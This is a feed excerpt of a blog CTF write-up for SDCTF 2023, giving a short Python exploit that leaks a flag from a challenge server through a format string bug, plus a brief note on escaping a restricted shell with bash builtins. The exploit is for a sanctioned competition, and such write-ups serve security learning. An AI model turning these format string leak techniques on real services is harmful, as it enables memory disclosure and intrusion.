https://blog.albina.cc/categories/misc/ Recent content in Misc on Laika's Blog Hugo -- 0.135.0 ja-jp Thu, 11 May 2023 19:36:24 +0900 https://blog.albina.cc/posts/sdctf-2023-writeup/ Thu, 11 May 2023 19:36:24 +0900 https://blog.albina.cc/posts/sdctf-2023-writeup/ <p>I participated <a href="https://ctf.sdc.tf/">SDCTF 2023</a> as Wani Hackase and took 5th place. Thank you for organizing nice CTF events!</p> <figure> <img loading="lazy" src="https://blog.albina.cc/img/2023-sdctf/result.png" width="80%"/> </figure> <h2 id="pwnmoney-printer">PWN/money-printer</h2> <p>This binary contains a format string bug and the flag is located at stack. I just send <code>%i$08lx</code> to reveal the flag as shown below.</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">toyotama</span> <span class="kn">import</span> <span class="o">*</span> </span></span><span class="line"><span class="ln"> 2</span><span class="cl"> </span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">_r</span> <span class="o">=</span> <span class="n">Socket</span><span class="p">(</span><span class="s2">&#34;nc money.sdc.tf 1337&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">_r</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s2">&#34;want?</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">,</span> <span class="o">-</span><span class="mi">1000</span><span class="p">)</span> </span></span><span class="line"><span class="ln"> 5</span><span class="cl"> </span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">_r</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s2">&#34;audience?</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">,</span> <span class="s2">&#34; &#34;</span><span class="o">.</span><span class="n">join</span><span class="p">([</span><span class="sa">f</span><span class="s2">&#34;%</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s2">$08lx&#34;</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="mi">16</span><span class="p">)]))</span> </span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="n">_r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s2">&#34;said: &#34;</span><span class="p">)</span> </span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">flag</span> <span class="o">=</span> <span class="n">_r</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">()</span> </span></span><span class="line"><span class="ln"> 9</span><span class="cl"> </span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">flag</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">([</span><span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">x</span><span class="p">)[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">flag</span><span class="p">])</span> </span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="n">flag</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;}&#34;</span> </span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span> </span></span></code></pre></div><p><code>sdctf{d4mn_y0u_f0unD_4_Cr4zY_4M0uN7_0f_M0n3y}</code></p> <h2 id="miscform-bomb-protector">MISC/Form bomb protector</h2> <p>After connecting the server, it spawn a shell but we cannot use most commands since some syscall is prohibited. It accepts bash builtin commands, so I combined some of them to read the flag.</p>